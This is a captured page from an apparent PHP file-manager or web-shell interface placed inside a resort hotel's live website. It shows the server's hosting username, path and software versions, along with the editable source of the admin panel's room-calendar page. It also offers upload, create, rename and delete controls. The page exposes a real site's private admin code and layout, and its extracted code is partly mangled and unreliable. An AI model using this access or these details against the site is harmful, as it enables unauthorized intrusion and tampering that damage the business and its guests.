Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-570.21.1.el9_6.x86_64

PHP Version:

8.2.28

User:

u612101220

Directory:

/home/u612101220/domains/silverconchawavepoolresortandhotel.com/public_html/admin/room

Free Space:

9.72 TB

🔧 Quick Actions

✏️ Editing: checkRoom.php

<?php

include('user.php');
include('../controller/config.php');

// Ensure that $time_zone is sanitized before using it in queries
$time_zone = mysqli_real_escape_string($conn, date('Y-m-d'));

// Initialize totals for both Day and Night tours
$total_children = 0;
$total_adults = 0;
$total_pax_sales = 0;
$total_pwd_sc = 0;  // Added for pwd_sc (senior citizen discount)
$total_pwd_child = 0; // Added for pwd_child (child discount)

$total_children_night = 0;
$total_adults_night = 0;
$total_pax_sales_night = 0;
$total_pwd_sc_night = 0;  // Added for pwd_sc in Night tour
$total_pwd_child_night = 0; // Added for pwd_child in Night tour

// Function to calculate totals for a given tour type
function calculateTotals($conn, $tour_type, $time_zone)
{
    // Initialize totals
    $total_children = 0;
    $total_adults = 0;
    $total_pax_sales = 0;
    $total_pwd_sc = 0;   // For pwd_sc
    $total_pwd_child = 0; // For pwd_child

// Prepare the query
    $query = "
        SELECT * 
        FROM cottage_reservation 
        INNER JOIN pax 
        ON cottage_reservation.reservation_number = pax.reservation_number
        WHERE cottage_reservation.tour = '$tour_type' 
        AND cottage_reservation.c_r_date = '$time_zone'
    ";

// Execute the query
    $result = mysqli_query($conn, $query);

// Check if the query is successful
    if ($result) {
        // Iterate over the results and accumulate totals
        while ($row = mysqli_fetch_assoc($result)) {
            $total_children += (int)$row['children'];  // Accumulate children
            $total_adults += (int)$row['adult'];      // Accumulate adults
            $total_pax_sales += (float)$row['pax_total'];  // Accumulate sales, cast to float

// Accumulate the totals for pwd_sc and pwd_child
            $total_pwd_sc += (int)$row['pwd_sc']; // Add pwd_sc
            $total_pwd_child += (int)$row['pwd_child']; // Add pwd_child
        }
    } else {
        echo "Error: " . mysqli_error($conn);
    }

// Return the calculated totals
    return [
        'total_children' => $total_children,
        'total_adults' => $total_adults,
        'total_pax_sales' => $total_pax_sales,
        'total_pwd_sc' => $total_pwd_sc,  // Return the totals for pwd_sc
        'total_pwd_child' => $total_pwd_child // Return the totals for pwd_child
    ];
}

// Calculate totals for the Day tour
$day_totals = calculateTotals($conn, 'Day', $time_zone);
$total_children = $day_totals['total_children'];
$total_adults = $day_totals['total_adults'];
$total_pax_sales = $day_totals['total_pax_sales'];
$total_pwd_sc = $day_totals['total_pwd_sc'];
$total_pwd_child = $day_totals['total_pwd_child'];

// Calculate totals for the Night tour
$night_totals = calculateTotals($conn, 'Night', $time_zone);
$total_children_night = $night_totals['total_children'];
$total_adults_night = $night_totals['total_adults'];
$total_pax_sales_night = $night_totals['total_pax_sales'];
$total_pwd_sc_night = $night_totals['total_pwd_sc'];
$total_pwd_child_night = $night_totals['total_pwd_child'];

<!DOCTYPE html>
<html lang="en">

<head>

.suggestion-item {
            padding: 12px;
            cursor: pointer;
        }

.suggestion-item:hover {
            background: #286ba9;
            color: white;
        }

.section-title {
            font-size: 24px;
            margin: 20px 0 10px;
        }

.room-row {
            display: flex;
            flex-wrap: wrap;
            gap: 15px;
            margin-bottom: 20px;
        }

.room-card {
            width: 200px;
            padding: 20px;
            border-radius: 10px;
            color: white;
            text-align: center;
            font-weight: bold;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
        }

.booked {
            background-color: red;
        }

.available {
            background-color: green;
        }

.calendar-container {
            margin-bottom: 20px;
        }

.booked-date {
            background-color: red !important;
            color: white !important;
        }
    </style>
</head>

<li class="nav-item">
                            <a href="index.php" class="nav-link  text-white">
                                <i class="fa-solid fa-gauge"></i> Dashboard
                            </a>
                        </li>

<li class="nav-item dropdown">
                            <a id="dropdownSubMenu1" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false" class="nav-link dropdown-toggle"><i class="fa-solid fa-person-walking-luggage"></i>
                                Walkin/Call Reservation</a>
                            <ul aria-labelledby="dropdownSubMenu1" class="dropdown-menu border-0 shadow">
                                <li><a href="create.php" class="dropdown-item"><i class="fa-solid fa-circle-plus mr-2"></i> Create</a></li>
                                <li><a href="reserved.php" class="dropdown-item"><i class="fa-solid fa-circle-check mr-2"></i> Reserved</a></li>
                                <li><a href="completed.php" class="dropdown-item"><i class="fa-solid fa-cash-register mr-2"></i> Completed</a></li>
                            </ul>
                        </li>

<li class="nav-item dropdown">
                            <a id="dropdownSubMenu1" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false" class="nav-link dropdown-toggle"><i class="fa-solid fa-sun"></i>
                                Day Tour Reservation</a>
                            <ul aria-labelledby="dropdownSubMenu1" class="dropdown-menu border-0 shadow">
                                <li><a href="day_create.php" class="dropdown-item"><i class="fa-solid fa-circle-plus mr-2"></i> Create</a></li>
                                <li><a href="day_view.php" class="dropdown-item"><i class="fa-solid fa-circle-exclamation mr-2"></i> Reserved</a></li>
                                <li><a href="day_completed.php" class="dropdown-item"><i class="fa-solid fa-circle-h mr-2"></i> Completed</a></li>
                            </ul>
                        </li>

<li class="nav-item dropdown">
                            <a id="dropdownSubMenu1" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false" class="nav-link dropdown-toggle"><i class="fa-solid fa-globe"></i>
                                Online Reservation</a>
                            <ul aria-labelledby="dropdownSubMenu1" class="dropdown-menu border-0 shadow">
                                <li><a href="pending_ol.php" class="dropdown-item"><i class="fa-solid fa-circle-exclamation mr-2"></i> Pending</a></li>
                                <li><a href="approved_ol.php" class="dropdown-item"><i class="fa-solid fa-circle-check mr-2"></i> Approved</a></li>
                                <li><a href="completed_ol.php" class="dropdown-item"><i class="fa-solid fa-circle-h mr-2"></i> Completed</a></li>
                            </ul>
                        </li>

<li class="nav-item">
                            <a href="checkRoom.php" class="nav-link active bg-navy"><i class="fa-solid fa-magnifying-glass-plus"></i> Check Room</a>
                        </li>
                    </ul>

<ul class="order-1 order-md-3 navbar-nav navbar-no-expand ml-auto">

<li class="nav-item dropdown">
                            <a class="nav-link" data-toggle="dropdown" href="#">
                                <i class="fa-solid fa-user mr-lg-1"></i> <?php echo $log_name ?>
                                <i class="fa-solid fa-angle-down ml-lg-1"></i>
                            </a>
                            <div class="dropdown-menu dropdown-menu-xs dropdown-menu-right">

<a href="lockscreen.php" class="dropdown-item">
                                    <i class="fa-solid fa-user-lock mr-1"></i> Lock User
                                </a>
                                <div class="dropdown-divider"></div>
                                <a href="settings.php" class="dropdown-item">
                                    <i class="fa-solid fa-gears mr-1"></i> Settings
                                </a>
                                <div class="dropdown-divider"></div>
                                <a href="../controller/logout.php" class="dropdown-item">
                                    <i class="fa-solid fa-right-to-bracket mr-1"></i> Logout
                                </a>
                            </div>

</li>
                    </ul>
                </div>
        </nav>

<div class="content-wrapper">
            
            <div class="content-header">
                <div class="container-fluid">

</div>
                
            </div>

<div class="content">

<div class="container mt-2">
                    <h2 class="text-center my-auto mb-4">Villa and Hotel Calendar of Reservations</h2><br>
                    <div class="alert alert-dismissible bg-dark">
                        <button type="button" class="close" data-dismiss="alert">&times;</button>
                        <strong>Info!</strong> Below are the rooms with existing reservations. A red shade indicates that a room has an existing reservation.
                    </div>
                    <div class="row" id="calendars"></div>
                </div>
            </div>
            
        </div>

<div class="modal fade" id="deleteModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel"
            aria-hidden="true">
            <div class="modal-dialog modal-dialog-centered" role="document">
                <div class="modal-content">
                    <div class="modal-header">
                        <h5 class="modal-title text-dark font-weight-bold" id="exampleModalLabel">DELETE CONFIRMATION</h5>
                        <button class="close" type="button" data-dismiss="modal" aria-label="Close">
                            <span aria-hidden="true">×</span>
                        </button>
                    </div>
                    <div class="modal-body">
                        <form method="POST" id="form-delete">

<h6>Are sure you want to Delete this Data?</h6>

</div>
                    <div class="modal-footer">
                        <button class="btn btn-danger" type="button" data-dismiss="modal">Cancel</button>
                        <button type="submit" form="form-delete" class="btn btn-primary">Yes. Delete It!</button>
                    </div>
                    </form>
                </div>
            </div>
        </div>

<footer class=" main-footer text-dark footer">
            
            <div class="float-right d-none d-sm-inline">
                <strong class="font-weight-bold"><i class="fa-regular fa-clock"></i> Running:
                    <?php $currentDateTime = new DateTime('now');
                    $currentDate = $currentDateTime->format('F d, Y');
                    echo $currentDate; ?> -
                    <span id="txt"></span></strong>
            </div>
            
            <strong>Copyright &copy;<img src="../img/zamjy.png" style="height: 30px; width: 30px;"> Powered By: <a
                    href="https://www.facebook.com/profile.php?id=61560951500923" target="_blank"> ESG
                    IT-Solutions</a>.</strong> All rights reserved 2025.
        </footer>
    </div>

<script src="../plugins/chart.js/Chart.min.js"></script>

</html>

<?php
if (isset($_SESSION['status'])) {
?>

<?php
    unset($_SESSION['status']);
    unset($_SESSION['code']);
}

const today = new Date();
        let h = today.getHours();
        let m = today.getMinutes();
        let s = today.getSeconds();

var date_format = '12'; /* FORMAT CAN BE 12 hour (12) OR 24 hour (24)*/
        var result = h;
        var ext = '';

if (date_format == '12') {
            if (h > 12) {
                ext = 'PM';
                h = (h - 12);
                result = h;

if (h < 10) {
                    result = "0" + h;
                } else if (h == 12) {
                    h = "00";
                    ext = 'AM';
                }
            } else if (h < 12) {
                result = ((h < 10) ? "0" + h : h);
                ext = 'AM';
            } else if (h == 12) {
                ext = 'PM';
            }
        }

if (m < 10) {
            m = "0" + m;
        }

if (s < 10) {
            s = "0" + s;
        }
        result = result + ":" + m + ':' + s + ' ' + ext;
        m = checkTime(m);
        s = checkTime(s);
        document.getElementById('txt').innerHTML = result;
        setTimeout(startTime, 1000);
    }

function checkTime(i) {
        if (i < 10) {
            i = "0" + i
        }; // add zero in front of numbers < 10
        return i;
    }
</script>

// Fetch booking data for all rooms
    fetch('calendar_show.php') // Replace with your PHP script's URL
        .then(response => response.json())
        .then(rooms => {
            const calendarContainer = document.getElementById('calendars');

for (const roomId in rooms) {
                const room = rooms[roomId];
                const roomName = room.name;
                const bookedDates = room.booked_dates;

// Create a BS4 card for each room calendar
                const colDiv = document.createElement('div');
                colDiv.className = 'col-md-4 mb-4';

const cardDiv = document.createElement('div');
                cardDiv.className = 'card shadow-sm';

// Card Header: Display room name and year
                const cardHeader = document.createElement('div');
                cardHeader.className = 'card-header bg-primary text-white';
                cardHeader.innerHTML = `<strong>${roomName}</strong> - ${currentDate.getFullYear()}`;
                cardDiv.appendChild(cardHeader);

const cardBody = document.createElement('div');
                cardBody.className = 'card-body';

// Add a calendar inside the card
                const calendarInput = document.createElement('div');
                calendarInput.id = `calendar_${roomId}`;
                calendarInput.className = 'calendar';
                cardBody.appendChild(calendarInput);

cardDiv.appendChild(cardBody);
                colDiv.appendChild(cardDiv);

// Append the card to the main calendars row
                calendarContainer.appendChild(colDiv);

// Initialize the calendar for the room
                flatpickr(`#calendar_${roomId}`, {
                    inline: true, // Show calendar without input
                    dateFormat: 'Y-m-d',

onDayCreate: function(dObj, dStr, fp, dayElem) {
                        const date = dayElem.dateObj.toISOString().split('T')[0];
                        if (bookedDates.includes(date)) {
                            dayElem.classList.add('booked-date'); // Add red shading
                        }
                    }
                });
            }
        })
        .catch(error => console.error('Error fetching room bookings:', error));
</script>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: checkRoom.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation